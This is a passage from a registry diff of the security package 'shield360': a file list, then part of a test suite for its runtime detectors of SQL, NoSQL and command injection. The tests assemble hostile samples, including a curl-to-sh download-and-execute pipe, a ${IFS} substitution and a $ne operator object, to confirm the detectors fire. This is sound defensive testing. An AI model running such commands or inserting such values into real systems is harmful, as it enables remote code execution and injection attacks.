shield360 1.1.0 → 1.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (400) hide show
  1. package/README.md +330 -3
  2. package/dist/__tests__/build-info.test.js +8 -1
  3. package/dist/__tests__/build-info.test.js.map +1 -1
  4. package/dist/__tests__/code-location.test.js +1 -1
  5. package/dist/__tests__/destination.test.js +15 -0
  6. package/dist/__tests__/destination.test.js.map +1 -1
  7. package/dist/__tests__/masking.test.d.ts +1 -0
  8. package/dist/__tests__/masking.test.js +66 -0
  9. package/dist/__tests__/masking.test.js.map +1 -0
  10. package/dist/__tests__/register.e2e.test.d.ts +1 -0
  11. package/dist/__tests__/register.e2e.test.js +279 -0
  12. package/dist/__tests__/register.e2e.test.js.map +1 -0
  13. package/dist/__tests__/register.test.js +60 -0
  14. package/dist/__tests__/register.test.js.map +1 -1
  15. package/dist/agents/__tests__/agents.test.d.ts +1 -0
  16. package/dist/agents/__tests__/agents.test.js +529 -0
  17. package/dist/agents/__tests__/agents.test.js.map +1 -0
  18. package/dist/agents/index.d.ts +15 -0
  19. package/dist/agents/index.js +25 -0
  20. package/dist/agents/index.js.map +1 -0
  21. package/dist/agents/passport.d.ts +92 -0
  22. package/dist/agents/passport.js +301 -0
  23. package/dist/agents/passport.js.map +1 -0
  24. package/dist/agents/policy.d.ts +24 -0
  25. package/dist/agents/policy.js +93 -0
  26. package/dist/agents/policy.js.map +1 -0
  27. package/dist/agents/replay.d.ts +20 -0
  28. package/dist/agents/replay.js +47 -0
  29. package/dist/agents/replay.js.map +1 -0
  30. package/dist/agents/report.d.ts +30 -0
  31. package/dist/agents/report.js +93 -0
  32. package/dist/agents/report.js.map +1 -0
  33. package/dist/agents/types.d.ts +148 -0
  34. package/dist/agents/types.js +37 -0
  35. package/dist/agents/types.js.map +1 -0
  36. package/dist/agents/verifier.d.ts +33 -0
  37. package/dist/agents/verifier.js +276 -0
  38. package/dist/agents/verifier.js.map +1 -0
  39. package/dist/ai-security/__tests__/bench.test.d.ts +1 -0
  40. package/dist/ai-security/__tests__/bench.test.js +50 -0
  41. package/dist/ai-security/__tests__/bench.test.js.map +1 -0
  42. package/dist/ai-security/__tests__/checks.test.d.ts +1 -0
  43. package/dist/ai-security/__tests__/checks.test.js +248 -0
  44. package/dist/ai-security/__tests__/checks.test.js.map +1 -0
  45. package/dist/ai-security/__tests__/config.test.d.ts +1 -0
  46. package/dist/ai-security/__tests__/config.test.js +164 -0
  47. package/dist/ai-security/__tests__/config.test.js.map +1 -0
  48. package/dist/ai-security/__tests__/detection.test.d.ts +1 -0
  49. package/dist/ai-security/__tests__/detection.test.js +114 -0
  50. package/dist/ai-security/__tests__/detection.test.js.map +1 -0
  51. package/dist/ai-security/__tests__/fixtures.d.ts +8 -0
  52. package/dist/ai-security/__tests__/fixtures.js +30 -0
  53. package/dist/ai-security/__tests__/fixtures.js.map +1 -0
  54. package/dist/ai-security/__tests__/hooks.test.d.ts +1 -0
  55. package/dist/ai-security/__tests__/hooks.test.js +174 -0
  56. package/dist/ai-security/__tests__/hooks.test.js.map +1 -0
  57. package/dist/ai-security/__tests__/stream.test.d.ts +1 -0
  58. package/dist/ai-security/__tests__/stream.test.js +85 -0
  59. package/dist/ai-security/__tests__/stream.test.js.map +1 -0
  60. package/dist/ai-security/config.d.ts +94 -0
  61. package/dist/ai-security/config.js +241 -0
  62. package/dist/ai-security/config.js.map +1 -0
  63. package/dist/ai-security/context.d.ts +45 -0
  64. package/dist/ai-security/context.js +108 -0
  65. package/dist/ai-security/context.js.map +1 -0
  66. package/dist/ai-security/custom-kinds.d.ts +23 -0
  67. package/dist/ai-security/custom-kinds.js +97 -0
  68. package/dist/ai-security/custom-kinds.js.map +1 -0
  69. package/dist/ai-security/events.d.ts +77 -0
  70. package/dist/ai-security/events.js +153 -0
  71. package/dist/ai-security/events.js.map +1 -0
  72. package/dist/ai-security/hooks.d.ts +48 -0
  73. package/dist/ai-security/hooks.js +461 -0
  74. package/dist/ai-security/hooks.js.map +1 -0
  75. package/dist/ai-security/index.d.ts +209 -0
  76. package/dist/ai-security/index.js +587 -0
  77. package/dist/ai-security/index.js.map +1 -0
  78. package/dist/ai-security/injection-rules.json +1024 -0
  79. package/dist/ai-security/injection.d.ts +46 -0
  80. package/dist/ai-security/injection.js +635 -0
  81. package/dist/ai-security/injection.js.map +1 -0
  82. package/dist/ai-security/jailbreak.d.ts +38 -0
  83. package/dist/ai-security/jailbreak.js +73 -0
  84. package/dist/ai-security/jailbreak.js.map +1 -0
  85. package/dist/ai-security/limits.d.ts +84 -0
  86. package/dist/ai-security/limits.js +195 -0
  87. package/dist/ai-security/limits.js.map +1 -0
  88. package/dist/ai-security/mcp.d.ts +82 -0
  89. package/dist/ai-security/mcp.js +150 -0
  90. package/dist/ai-security/mcp.js.map +1 -0
  91. package/dist/ai-security/output.d.ts +107 -0
  92. package/dist/ai-security/output.js +390 -0
  93. package/dist/ai-security/output.js.map +1 -0
  94. package/dist/ai-security/policy.d.ts +125 -0
  95. package/dist/ai-security/policy.js +196 -0
  96. package/dist/ai-security/policy.js.map +1 -0
  97. package/dist/ai-security/rag.d.ts +70 -0
  98. package/dist/ai-security/rag.js +174 -0
  99. package/dist/ai-security/rag.js.map +1 -0
  100. package/dist/ai-security/tool-rules.json +203 -0
  101. package/dist/ai-security/tools.d.ts +46 -0
  102. package/dist/ai-security/tools.js +62 -0
  103. package/dist/ai-security/tools.js.map +1 -0
  104. package/dist/budgets/__tests__/budgets.test.d.ts +1 -0
  105. package/dist/budgets/__tests__/budgets.test.js +134 -0
  106. package/dist/budgets/__tests__/budgets.test.js.map +1 -0
  107. package/dist/budgets/auto.d.ts +25 -0
  108. package/dist/budgets/auto.js +63 -0
  109. package/dist/budgets/auto.js.map +1 -0
  110. package/dist/budgets/index.d.ts +110 -0
  111. package/dist/budgets/index.js +239 -0
  112. package/dist/budgets/index.js.map +1 -0
  113. package/dist/customer/__tests__/customer.test.d.ts +1 -0
  114. package/dist/customer/__tests__/customer.test.js +155 -0
  115. package/dist/customer/__tests__/customer.test.js.map +1 -0
  116. package/dist/customer/index.d.ts +48 -0
  117. package/dist/customer/index.js +132 -0
  118. package/dist/customer/index.js.map +1 -0
  119. package/dist/destination.d.ts +14 -0
  120. package/dist/destination.js +16 -0
  121. package/dist/destination.js.map +1 -1
  122. package/dist/feedback/__tests__/feedback.test.d.ts +1 -0
  123. package/dist/feedback/__tests__/feedback.test.js +80 -0
  124. package/dist/feedback/__tests__/feedback.test.js.map +1 -0
  125. package/dist/feedback/index.d.ts +48 -0
  126. package/dist/feedback/index.js +97 -0
  127. package/dist/feedback/index.js.map +1 -0
  128. package/dist/flags/__tests__/flags.test.d.ts +1 -0
  129. package/dist/flags/__tests__/flags.test.js +301 -0
  130. package/dist/flags/__tests__/flags.test.js.map +1 -0
  131. package/dist/flags/client.d.ts +131 -0
  132. package/dist/flags/client.js +301 -0
  133. package/dist/flags/client.js.map +1 -0
  134. package/dist/flags/engine.d.ts +200 -0
  135. package/dist/flags/engine.js +677 -0
  136. package/dist/flags/engine.js.map +1 -0
  137. package/dist/flags/index.d.ts +4 -0
  138. package/dist/flags/index.js +16 -0
  139. package/dist/flags/index.js.map +1 -0
  140. package/dist/guard/__tests__/findings.test.js +1 -1
  141. package/dist/guard/__tests__/report.test.js +67 -0
  142. package/dist/guard/__tests__/report.test.js.map +1 -1
  143. package/dist/guard/heartbeat.d.ts +34 -0
  144. package/dist/guard/heartbeat.js +83 -0
  145. package/dist/guard/heartbeat.js.map +1 -0
  146. package/dist/guard/integration.d.ts +9 -0
  147. package/dist/guard/integration.js +4 -2
  148. package/dist/guard/integration.js.map +1 -1
  149. package/dist/guard/report.d.ts +24 -1
  150. package/dist/guard/report.js +67 -18
  151. package/dist/guard/report.js.map +1 -1
  152. package/dist/index.d.ts +88 -0
  153. package/dist/index.js +203 -2
  154. package/dist/index.js.map +1 -1
  155. package/dist/instrumentation/__tests__/langchain-wrapper.test.js +1 -1
  156. package/dist/instrumentation/__tests__/langchain-wrapper.test.js.map +1 -1
  157. package/dist/instrumentation/anthropic/wrapper.js +4 -0
  158. package/dist/instrumentation/anthropic/wrapper.js.map +1 -1
  159. package/dist/instrumentation/openai/wrapper.js +6 -0
  160. package/dist/instrumentation/openai/wrapper.js.map +1 -1
  161. package/dist/masking.d.ts +42 -0
  162. package/dist/masking.js +197 -0
  163. package/dist/masking.js.map +1 -0
  164. package/dist/otel/__tests__/app-logs-safety.test.d.ts +1 -0
  165. package/dist/otel/__tests__/app-logs-safety.test.js +129 -0
  166. package/dist/otel/__tests__/app-logs-safety.test.js.map +1 -0
  167. package/dist/otel/__tests__/app-logs.test.d.ts +1 -0
  168. package/dist/otel/__tests__/app-logs.test.js +269 -0
  169. package/dist/otel/__tests__/app-logs.test.js.map +1 -0
  170. package/dist/otel/__tests__/log-auto.test.d.ts +1 -0
  171. package/dist/otel/__tests__/log-auto.test.js +125 -0
  172. package/dist/otel/__tests__/log-auto.test.js.map +1 -0
  173. package/dist/otel/__tests__/log-bridges.test.d.ts +1 -0
  174. package/dist/otel/__tests__/log-bridges.test.js +170 -0
  175. package/dist/otel/__tests__/log-bridges.test.js.map +1 -0
  176. package/dist/otel/__tests__/system-metrics.test.d.ts +1 -0
  177. package/dist/otel/__tests__/system-metrics.test.js +79 -0
  178. package/dist/otel/__tests__/system-metrics.test.js.map +1 -0
  179. package/dist/otel/app-logs.d.ts +80 -0
  180. package/dist/otel/app-logs.js +195 -0
  181. package/dist/otel/app-logs.js.map +1 -0
  182. package/dist/otel/build-info.d.ts +2 -1
  183. package/dist/otel/build-info.js +3 -2
  184. package/dist/otel/build-info.js.map +1 -1
  185. package/dist/otel/events.d.ts +1 -0
  186. package/dist/otel/events.js +22 -13
  187. package/dist/otel/events.js.map +1 -1
  188. package/dist/otel/log-auto.d.ts +44 -0
  189. package/dist/otel/log-auto.js +200 -0
  190. package/dist/otel/log-auto.js.map +1 -0
  191. package/dist/otel/log-bridges.d.ts +54 -0
  192. package/dist/otel/log-bridges.js +307 -0
  193. package/dist/otel/log-bridges.js.map +1 -0
  194. package/dist/otel/metrics.js +1 -1
  195. package/dist/otel/metrics.js.map +1 -1
  196. package/dist/otel/system-metrics.d.ts +39 -0
  197. package/dist/otel/system-metrics.js +166 -0
  198. package/dist/otel/system-metrics.js.map +1 -0
  199. package/dist/otel/tracing.js +6 -2
  200. package/dist/otel/tracing.js.map +1 -1
  201. package/dist/protect/__tests__/protect.test.js +4 -0
  202. package/dist/protect/__tests__/protect.test.js.map +1 -1
  203. package/dist/protect/index.js +9 -4
  204. package/dist/protect/index.js.map +1 -1
  205. package/dist/rasp/__tests__/auto-http.test.d.ts +1 -0
  206. package/dist/rasp/__tests__/auto-http.test.js +136 -0
  207. package/dist/rasp/__tests__/auto-http.test.js.map +1 -0
  208. package/dist/rasp/__tests__/baseline.test.d.ts +1 -0
  209. package/dist/rasp/__tests__/baseline.test.js +86 -0
  210. package/dist/rasp/__tests__/baseline.test.js.map +1 -0
  211. package/dist/rasp/__tests__/benign-corpus.test.d.ts +1 -0
  212. package/dist/rasp/__tests__/benign-corpus.test.js +68 -0
  213. package/dist/rasp/__tests__/benign-corpus.test.js.map +1 -0
  214. package/dist/rasp/__tests__/capture-context.test.d.ts +1 -0
  215. package/dist/rasp/__tests__/capture-context.test.js +135 -0
  216. package/dist/rasp/__tests__/capture-context.test.js.map +1 -0
  217. package/dist/rasp/__tests__/code-hook.test.d.ts +1 -0
  218. package/dist/rasp/__tests__/code-hook.test.js +218 -0
  219. package/dist/rasp/__tests__/code-hook.test.js.map +1 -0
  220. package/dist/rasp/__tests__/config-client.test.d.ts +1 -0
  221. package/dist/rasp/__tests__/config-client.test.js +283 -0
  222. package/dist/rasp/__tests__/config-client.test.js.map +1 -0
  223. package/dist/rasp/__tests__/corpus.d.ts +13 -0
  224. package/dist/rasp/__tests__/corpus.js +111 -0
  225. package/dist/rasp/__tests__/corpus.js.map +1 -0
  226. package/dist/rasp/__tests__/custom-rules.test.d.ts +1 -0
  227. package/dist/rasp/__tests__/custom-rules.test.js +276 -0
  228. package/dist/rasp/__tests__/custom-rules.test.js.map +1 -0
  229. package/dist/rasp/__tests__/db-hook.test.d.ts +1 -0
  230. package/dist/rasp/__tests__/db-hook.test.js +438 -0
  231. package/dist/rasp/__tests__/db-hook.test.js.map +1 -0
  232. package/dist/rasp/__tests__/deception.test.d.ts +1 -0
  233. package/dist/rasp/__tests__/deception.test.js +567 -0
  234. package/dist/rasp/__tests__/deception.test.js.map +1 -0
  235. package/dist/rasp/__tests__/detect.test.d.ts +1 -0
  236. package/dist/rasp/__tests__/detect.test.js +276 -0
  237. package/dist/rasp/__tests__/detect.test.js.map +1 -0
  238. package/dist/rasp/__tests__/esm-exports.test.d.ts +1 -0
  239. package/dist/rasp/__tests__/esm-exports.test.js +20 -0
  240. package/dist/rasp/__tests__/esm-exports.test.js.map +1 -0
  241. package/dist/rasp/__tests__/fs-hook.test.d.ts +1 -0
  242. package/dist/rasp/__tests__/fs-hook.test.js +241 -0
  243. package/dist/rasp/__tests__/fs-hook.test.js.map +1 -0
  244. package/dist/rasp/__tests__/hook-contracts.test.d.ts +1 -0
  245. package/dist/rasp/__tests__/hook-contracts.test.js +201 -0
  246. package/dist/rasp/__tests__/hook-contracts.test.js.map +1 -0
  247. package/dist/rasp/__tests__/hook-kit.d.ts +42 -0
  248. package/dist/rasp/__tests__/hook-kit.js +139 -0
  249. package/dist/rasp/__tests__/hook-kit.js.map +1 -0
  250. package/dist/rasp/__tests__/http-hook.test.d.ts +1 -0
  251. package/dist/rasp/__tests__/http-hook.test.js +250 -0
  252. package/dist/rasp/__tests__/http-hook.test.js.map +1 -0
  253. package/dist/rasp/__tests__/iast.test.d.ts +1 -0
  254. package/dist/rasp/__tests__/iast.test.js +361 -0
  255. package/dist/rasp/__tests__/iast.test.js.map +1 -0
  256. package/dist/rasp/__tests__/include-hook.test.d.ts +1 -0
  257. package/dist/rasp/__tests__/include-hook.test.js +122 -0
  258. package/dist/rasp/__tests__/include-hook.test.js.map +1 -0
  259. package/dist/rasp/__tests__/middleware.test.d.ts +1 -0
  260. package/dist/rasp/__tests__/middleware.test.js +302 -0
  261. package/dist/rasp/__tests__/middleware.test.js.map +1 -0
  262. package/dist/rasp/__tests__/process-hook.test.d.ts +1 -0
  263. package/dist/rasp/__tests__/process-hook.test.js +238 -0
  264. package/dist/rasp/__tests__/process-hook.test.js.map +1 -0
  265. package/dist/rasp/__tests__/reporter.test.d.ts +1 -0
  266. package/dist/rasp/__tests__/reporter.test.js +114 -0
  267. package/dist/rasp/__tests__/reporter.test.js.map +1 -0
  268. package/dist/rasp/__tests__/route.test.d.ts +1 -0
  269. package/dist/rasp/__tests__/route.test.js +46 -0
  270. package/dist/rasp/__tests__/route.test.js.map +1 -0
  271. package/dist/rasp/__tests__/rule-expr.test.d.ts +1 -0
  272. package/dist/rasp/__tests__/rule-expr.test.js +151 -0
  273. package/dist/rasp/__tests__/rule-expr.test.js.map +1 -0
  274. package/dist/rasp/__tests__/rule-phases.test.d.ts +1 -0
  275. package/dist/rasp/__tests__/rule-phases.test.js +271 -0
  276. package/dist/rasp/__tests__/rule-phases.test.js.map +1 -0
  277. package/dist/rasp/__tests__/sinks-hook.test.d.ts +1 -0
  278. package/dist/rasp/__tests__/sinks-hook.test.js +177 -0
  279. package/dist/rasp/__tests__/sinks-hook.test.js.map +1 -0
  280. package/dist/rasp/__tests__/targets.test.d.ts +1 -0
  281. package/dist/rasp/__tests__/targets.test.js +82 -0
  282. package/dist/rasp/__tests__/targets.test.js.map +1 -0
  283. package/dist/rasp/__tests__/template-hook.test.d.ts +1 -0
  284. package/dist/rasp/__tests__/template-hook.test.js +254 -0
  285. package/dist/rasp/__tests__/template-hook.test.js.map +1 -0
  286. package/dist/rasp/__tests__/upload.test.d.ts +1 -0
  287. package/dist/rasp/__tests__/upload.test.js +81 -0
  288. package/dist/rasp/__tests__/upload.test.js.map +1 -0
  289. package/dist/rasp/__tests__/vpatch-engine.test.d.ts +1 -0
  290. package/dist/rasp/__tests__/vpatch-engine.test.js +177 -0
  291. package/dist/rasp/__tests__/vpatch-engine.test.js.map +1 -0
  292. package/dist/rasp/auto-http.d.ts +6 -0
  293. package/dist/rasp/auto-http.js +194 -0
  294. package/dist/rasp/auto-http.js.map +1 -0
  295. package/dist/rasp/baseline.d.ts +35 -0
  296. package/dist/rasp/baseline.js +91 -0
  297. package/dist/rasp/baseline.js.map +1 -0
  298. package/dist/rasp/capture.d.ts +76 -0
  299. package/dist/rasp/capture.js +304 -0
  300. package/dist/rasp/capture.js.map +1 -0
  301. package/dist/rasp/config-client.d.ts +122 -0
  302. package/dist/rasp/config-client.js +337 -0
  303. package/dist/rasp/config-client.js.map +1 -0
  304. package/dist/rasp/context.d.ts +65 -0
  305. package/dist/rasp/context.js +68 -0
  306. package/dist/rasp/context.js.map +1 -0
  307. package/dist/rasp/custom-rules.d.ts +68 -0
  308. package/dist/rasp/custom-rules.js +222 -0
  309. package/dist/rasp/custom-rules.js.map +1 -0
  310. package/dist/rasp/data/default-rules.json +199 -0
  311. package/dist/rasp/data/default-sinks.json +4 -0
  312. package/dist/rasp/data/dnslog-domains.json +11 -0
  313. package/dist/rasp/deception.d.ts +70 -0
  314. package/dist/rasp/deception.js +220 -0
  315. package/dist/rasp/deception.js.map +1 -0
  316. package/dist/rasp/detect.d.ts +68 -0
  317. package/dist/rasp/detect.js +671 -0
  318. package/dist/rasp/detect.js.map +1 -0
  319. package/dist/rasp/engine.d.ts +107 -0
  320. package/dist/rasp/engine.js +330 -0
  321. package/dist/rasp/engine.js.map +1 -0
  322. package/dist/rasp/hooks/code.d.ts +20 -0
  323. package/dist/rasp/hooks/code.js +334 -0
  324. package/dist/rasp/hooks/code.js.map +1 -0
  325. package/dist/rasp/hooks/db.d.ts +48 -0
  326. package/dist/rasp/hooks/db.js +322 -0
  327. package/dist/rasp/hooks/db.js.map +1 -0
  328. package/dist/rasp/hooks/esm.d.ts +7 -0
  329. package/dist/rasp/hooks/esm.js +18 -0
  330. package/dist/rasp/hooks/esm.js.map +1 -0
  331. package/dist/rasp/hooks/fs.d.ts +3 -0
  332. package/dist/rasp/hooks/fs.js +206 -0
  333. package/dist/rasp/hooks/fs.js.map +1 -0
  334. package/dist/rasp/hooks/http.d.ts +4 -0
  335. package/dist/rasp/hooks/http.js +213 -0
  336. package/dist/rasp/hooks/http.js.map +1 -0
  337. package/dist/rasp/hooks/include.d.ts +9 -0
  338. package/dist/rasp/hooks/include.js +79 -0
  339. package/dist/rasp/hooks/include.js.map +1 -0
  340. package/dist/rasp/hooks/marks.d.ts +2 -0
  341. package/dist/rasp/hooks/marks.js +16 -0
  342. package/dist/rasp/hooks/marks.js.map +1 -0
  343. package/dist/rasp/hooks/process.d.ts +22 -0
  344. package/dist/rasp/hooks/process.js +191 -0
  345. package/dist/rasp/hooks/process.js.map +1 -0
  346. package/dist/rasp/hooks/sinks.d.ts +54 -0
  347. package/dist/rasp/hooks/sinks.js +329 -0
  348. package/dist/rasp/hooks/sinks.js.map +1 -0
  349. package/dist/rasp/hooks/template.d.ts +21 -0
  350. package/dist/rasp/hooks/template.js +152 -0
  351. package/dist/rasp/hooks/template.js.map +1 -0
  352. package/dist/rasp/iast-rules.d.ts +82 -0
  353. package/dist/rasp/iast-rules.js +240 -0
  354. package/dist/rasp/iast-rules.js.map +1 -0
  355. package/dist/rasp/iast-scope.d.ts +29 -0
  356. package/dist/rasp/iast-scope.js +54 -0
  357. package/dist/rasp/iast-scope.js.map +1 -0
  358. package/dist/rasp/iast.d.ts +81 -0
  359. package/dist/rasp/iast.js +272 -0
  360. package/dist/rasp/iast.js.map +1 -0
  361. package/dist/rasp/index.d.ts +52 -0
  362. package/dist/rasp/index.js +280 -0
  363. package/dist/rasp/index.js.map +1 -0
  364. package/dist/rasp/lexers.d.ts +32 -0
  365. package/dist/rasp/lexers.js +444 -0
  366. package/dist/rasp/lexers.js.map +1 -0
  367. package/dist/rasp/middleware.d.ts +155 -0
  368. package/dist/rasp/middleware.js +568 -0
  369. package/dist/rasp/middleware.js.map +1 -0
  370. package/dist/rasp/model-output.d.ts +14 -0
  371. package/dist/rasp/model-output.js +107 -0
  372. package/dist/rasp/model-output.js.map +1 -0
  373. package/dist/rasp/normalize.d.ts +23 -0
  374. package/dist/rasp/normalize.js +140 -0
  375. package/dist/rasp/normalize.js.map +1 -0
  376. package/dist/rasp/reporter.d.ts +60 -0
  377. package/dist/rasp/reporter.js +230 -0
  378. package/dist/rasp/reporter.js.map +1 -0
  379. package/dist/rasp/rule-expr.d.ts +236 -0
  380. package/dist/rasp/rule-expr.js +1253 -0
  381. package/dist/rasp/rule-expr.js.map +1 -0
  382. package/dist/rasp/template.d.ts +53 -0
  383. package/dist/rasp/template.js +336 -0
  384. package/dist/rasp/template.js.map +1 -0
  385. package/dist/rasp/types.d.ts +110 -0
  386. package/dist/rasp/types.js +51 -0
  387. package/dist/rasp/types.js.map +1 -0
  388. package/dist/rasp/vpatch.d.ts +55 -0
  389. package/dist/rasp/vpatch.js +120 -0
  390. package/dist/rasp/vpatch.js.map +1 -0
  391. package/dist/register.js +52 -11
  392. package/dist/register.js.map +1 -1
  393. package/dist/semantic-convention.d.ts +2 -0
  394. package/dist/semantic-convention.js +5 -0
  395. package/dist/semantic-convention.js.map +1 -1
  396. package/dist/types.d.ts +77 -1
  397. package/dist/zero-code.d.ts +8 -0
  398. package/dist/zero-code.js +38 -0
  399. package/dist/zero-code.js.map +1 -0
  400. package/package.json +18 -2
@@ -0,0 +1,276 @@
1
+ "use strict";
2
+ var __importDefault = (this && this.__importDefault) || function (mod) {
3
+ return (mod && mod.__esModule) ? mod : { "default": mod };
4
+ };
5
+ Object.defineProperty(exports, "__esModule", { value: true });
6
+ /**
7
+ * Each structural check, proved with one value built from the structure it
8
+ * tests, beside the safe counterpart that must not fire. No payload lists:
9
+ * every value here is assembled from the property under test (a value that
10
+ * spans several tokens, a path that climbs out of its directory, an address
11
+ * in a private range, a document that declares an external entity).
12
+ */
13
+ const os_1 = require("os");
14
+ const detect_1 = require("../detect");
15
+ const lexers_1 = require("../lexers");
16
+ const normalize_1 = require("../normalize");
17
+ const dnslog_domains_json_1 = __importDefault(require("../data/dnslog-domains.json"));
18
+ const req = (value, key = 'query.q') => {
19
+ const out = [];
20
+ (0, normalize_1.addInput)(out, value, key);
21
+ return out;
22
+ };
23
+ const model = (text) => {
24
+ const out = [];
25
+ (0, normalize_1.addModelOutput)(out, text);
26
+ return out;
27
+ };
28
+ const sqlQuote = (v) => `'${v.replace(/'/g, "''")}'`;
29
+ const shQuote = (v) => `'${v.replace(/'/g, "'\\''")}'`;
30
+ describe('lexers', () => {
31
+ it('SQL: a qualified name is one token, a string with doubled quotes is one token', () => {
32
+ const q = `SELECT ${['db', 'tbl'].join('.')} FROM t WHERE a = ${sqlQuote("x'y")}`;
33
+ const kinds = (0, lexers_1.sqlTokens)(q).map((t) => t.kind);
34
+ expect(kinds).toEqual(['word', 'name', 'word', 'word', 'word', 'word', 'op', 'string']);
35
+ });
36
+ it('SQL: placeholders are single tokens', () => {
37
+ for (const p of ['?', '$1', ':name', '@name', '%s', '%(name)s']) {
38
+ expect((0, lexers_1.sqlTokens)(`a = ${p}`).map((t) => t.kind)).toEqual(['word', 'op', 'placeholder']);
39
+ }
40
+ });
41
+ it('shell: a quoted segment stays inside one word', () => {
42
+ const { tokens } = (0, lexers_1.shellTokens)(`grep ${shQuote('a b|c')} f`);
43
+ expect(tokens.map((t) => t.kind)).toEqual(['word', 'word', 'word']);
44
+ });
45
+ it('overlap uses half-open ranges', () => {
46
+ const toks = (0, lexers_1.codeTokens)('ab cd');
47
+ expect((0, lexers_1.overlapping)(toks, 0, 2)).toHaveLength(1);
48
+ expect((0, lexers_1.overlapping)(toks, 1, 3)).toHaveLength(2);
49
+ });
50
+ it('percent decoding is lenient and adds decoded forms once and twice', () => {
51
+ expect((0, normalize_1.percentDecode)('a%2Fb%zz')).toBe('a/b%zz');
52
+ const twice = encodeURIComponent(encodeURIComponent('a/b'));
53
+ expect(req(twice).map((i) => i.value)).toEqual([twice, encodeURIComponent('a/b'), 'a/b']);
54
+ });
55
+ it('model output splits into fenced blocks, then lines', () => {
56
+ const fence = '`'.repeat(3);
57
+ expect((0, normalize_1.modelFragments)(`intro\n${fence}\nline one\nline two\n${fence}\noutro`)).toEqual(['line one\nline two', 'intro', 'line one', 'line two', 'outro']);
58
+ });
59
+ });
60
+ describe('sql_injection', () => {
61
+ // A value made of three non-keyword tokens: identifier, operator, identifier.
62
+ const spanning = ['col', '=', 'col'].join(' ');
63
+ it('sqli.userinput: an input that spans several tokens of the query', () => {
64
+ expect((0, detect_1.detectSql)(`SELECT * FROM t WHERE a = ${spanning}`, req(spanning))?.rule).toBe('sqli.userinput');
65
+ });
66
+ it('safe: the same input bound as one string literal', () => {
67
+ expect((0, detect_1.detectSql)(`SELECT * FROM t WHERE a = ${sqlQuote(spanning)}`, req(spanning))).toBeNull();
68
+ });
69
+ it('safe: a sort parameter made only of anti-detect keywords and one identifier', () => {
70
+ const sort = ['name', 'desc'].join(' ');
71
+ expect((0, detect_1.detectSql)(`SELECT * FROM t ORDER BY ${sort}`, req(sort))).toBeNull();
72
+ });
73
+ it('sqli.stacked: a statement separator inside the input, followed by another token', () => {
74
+ // Keywords only, so the token-structure rule's anti-detect filter lets it pass.
75
+ const kw = 'desc';
76
+ const value = [kw, kw].join(';');
77
+ expect((0, detect_1.detectSql)(`SELECT * FROM t ORDER BY a ${value}`, req(value))?.rule).toBe('sqli.stacked');
78
+ expect((0, detect_1.detectSql)(`SELECT * FROM t ORDER BY a ${kw}`, req(kw))).toBeNull();
79
+ });
80
+ it('sqli.model_output: a model fragment spanning tokens, or a whole write statement', () => {
81
+ expect((0, detect_1.detectSql)(`SELECT * FROM t WHERE ${spanning}`, model(spanning))?.rule).toBe('sqli.model_output');
82
+ const write = ['UPDATE', 't', 'SET', 'a', '=', '1'].join(' ');
83
+ expect((0, detect_1.detectSql)(write, model(write))?.rule).toBe('sqli.model_output');
84
+ });
85
+ it('safe: a read-only SELECT the model wrote whole (text-to-SQL)', () => {
86
+ const read = ['SELECT', 'a', 'FROM', 't'].join(' ');
87
+ expect((0, detect_1.detectSql)(read, model(read))).toBeNull();
88
+ });
89
+ it('safe: the whole query equal to an input (a SQL console)', () => {
90
+ const q = `SELECT * FROM t WHERE ${spanning}`;
91
+ expect((0, detect_1.detectSql)(q, req(q))).toBeNull();
92
+ });
93
+ });
94
+ describe('nosql_injection', () => {
95
+ const op = '$' + 'ne';
96
+ it('nosqli.operator: an operator object from the request body reaches the filter', () => {
97
+ const body = { user: { [op]: '' } };
98
+ expect((0, detect_1.detectNoSql)({ user: body.user }, [body], [])?.rule).toBe('nosqli.operator');
99
+ });
100
+ it('safe: the server builds the operator itself', () => {
101
+ const body = { user: 'alice' };
102
+ expect((0, detect_1.detectNoSql)({ user: { [op]: body.user } }, [body], [])).toBeNull();
103
+ });
104
+ it('nosqli.where: a tainted fragment spanning code tokens inside $where', () => {
105
+ const value = ['a', '||', 'b'].join(' ');
106
+ expect((0, detect_1.detectNoSql)({ $where: `this.x == ${value}` }, [{}], req(value))?.rule).toBe('nosqli.where');
107
+ expect((0, detect_1.detectNoSql)({ $where: `this.x == ${JSON.stringify(value)}` }, [{}], req(value))).toBeNull();
108
+ });
109
+ });
110
+ describe('command_injection and shell_spawn', () => {
111
+ const value = ['a', 'b'].join(';');
112
+ it('cmdi.userinput: an input that spans several shell tokens', () => {
113
+ expect((0, detect_1.detectCommand)(`ls ${value}`, req(value))?.rule).toBe('cmdi.userinput');
114
+ expect((0, detect_1.detectCommand)(`ls ${shQuote(value)}`, req(value))).toBeNull();
115
+ });
116
+ it('cmdi.substitution: a word-splitting variable inside one word', () => {
117
+ const v = ['a', 'b'].join('${IFS}');
118
+ expect((0, detect_1.detectCommand)(`echo ${v}`, req(v))?.rule).toBe('cmdi.substitution');
119
+ expect((0, detect_1.detectCommand)('echo a_b', req('a_b'))).toBeNull();
120
+ });
121
+ it('cmdi.full: the command equals an input', () => {
122
+ expect((0, detect_1.detectCommand)('uptime', req('uptime'))?.rule).toBe('cmdi.full');
123
+ });
124
+ it('cmdi.model_output: a whole model command with more than one command', () => {
125
+ const two = ['git status', 'git log'].join(' && ');
126
+ expect((0, detect_1.detectCommand)(two, model(two))?.rule).toBe('cmdi.model_output');
127
+ expect((0, detect_1.detectCommand)('git status', model('git status'))).toBeNull();
128
+ });
129
+ it('cmdi.executable: argv[0] equals an input', () => {
130
+ expect((0, detect_1.detectArgv)(['report-tool', '-x'], req('report-tool'))?.rule).toBe('cmdi.executable');
131
+ expect((0, detect_1.detectArgv)(['convert', 'report-tool'], req('report-tool'))).toBeNull();
132
+ });
133
+ it('shell_spawn.shell during a request, unless allowed; download_exec at any time', () => {
134
+ expect((0, detect_1.detectShellSpawn)({ argv0: '/bin/sh', inRequest: true, allow: [] })?.rule).toBe('shell_spawn.shell');
135
+ expect((0, detect_1.detectShellSpawn)({ argv0: '/bin/sh', inRequest: true, allow: ['sh'] })).toBeNull();
136
+ expect((0, detect_1.detectShellSpawn)({ argv0: '/bin/sh', inRequest: false, allow: [] })).toBeNull();
137
+ const pipe = ['curl -s https://example.com/x', 'sh'].join(' | ');
138
+ expect((0, detect_1.detectShellSpawn)({ command: pipe, inRequest: false, allow: [] })?.rule).toBe('shell_spawn.download_exec');
139
+ });
140
+ });
141
+ describe('path_traversal and file_write', () => {
142
